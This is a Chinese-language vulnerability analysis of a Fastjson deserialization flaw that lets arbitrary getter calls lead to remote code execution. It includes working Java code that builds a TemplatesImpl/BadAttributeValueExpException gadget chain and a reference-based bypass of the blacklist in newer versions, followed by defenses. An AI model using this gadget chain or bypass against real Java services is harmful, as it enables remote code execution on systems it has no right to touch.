影响fastjson全版本的反序列化过程中的任意getter方法触发RCE
字数 1381 2025-08-11 00:55:10
Fastjson 反序列化漏洞深入分析与利用
漏洞概述
Fastjson 是一个广泛使用的 Java JSON 处理库,在多个版本中存在反序列化过程中任意 getter 方法触发的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过精心构造的 JSON 数据触发目标类中的 getter 方法,进而执行任意代码。
漏洞原理
核心问题
Fastjson 在反序列化过程中会调用对象的 getter 方法,这一特性可以被利用来触发恶意类的特定方法:
- JSONArray/JSONObject 的 toString 方法会触发内部元素的 getter 方法调用
- 反序列化过程中也会触发 getter 方法
关键调用链
JSONArray/JSONObject.toString()
→ 调用元素的 getter 方法
→ 触发恶意逻辑(如 TemplatesImpl.getOutputProperties)
利用条件
- 目标系统使用 Fastjson 进行 JSON 处理
- 存在反序列化入口(如接收 JSON 数据并解析)
- 目标类路径中存在可利用的类(如 TemplatesImpl)
详细利用分析
基本利用方式
// 创建恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
// 设置 TemplatesImpl 实例
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
// 构造恶意 JSONArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
// 构造 BadAttributeValueExpException 触发点
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
版本差异分析
Fastjson ≥1.2.49
高版本引入了 SecureObjectInputStream 类,通过重写 resolveClass 方法进行安全检查:
-
检查流程:
- 默认关闭
autoTypeSupport - 先检查黑名单,再检查白名单
- 黑名单包含
com.sun包下的所有类
- 默认关闭
-
黑名单来源:
ParserConfig静态代码块初始化- 部分 hash 黑名单类(参考 fastjson-blacklist)
Fastjson <1.2.49
低版本虽然实现了 Serializable 接口,但没有重写 readObject 方法,因此不进行安全检查。
绕过安全机制
引用类型绕过
通过创建引用类型避免调用 resolveClass 方法:
- 序列化过程中,相同的对象第二次出现时会被标记为
TC_REFERENCE - 反序列化时,引用类型不会触发
resolveClass检查
// 使用 HashMap 等创建引用
ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
concurrentHashMap.put(templates, val);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(concurrentHashMap);
适用容器类:
- HashMap
- ConcurrentHashMap
- LinkedHashMap
- IdentityHashMap
反序列化流程分析
readObject0根据类型执行不同操作- 会调用
resolveClass的方法:readClassreadClassDescreadArrayreadOrdinaryObject
- 不会调用
resolveClass的类型:- Null
- Reference
- String/LongString
- Enum
- Exception
防御措施
- 升级 Fastjson 到最新安全版本
- 禁用 autoType 功能(默认已禁用)
- 严格过滤输入,特别是反序列化数据
- 使用白名单 机制限制可反序列化的类
- 安全建议:将安全检查置于 source 点,而非反序列化过程中
总结
该漏洞利用 Fastjson 反序列化过程中 getter 方法调用的特性,结合 Java 反序列化机制,实现了远程代码执行。不同版本有不同的防御机制,但通过引用类型等技术可以绕过部分安全检查。防御时应采取多层次的安全措施,而不仅仅是依赖单一防护机制。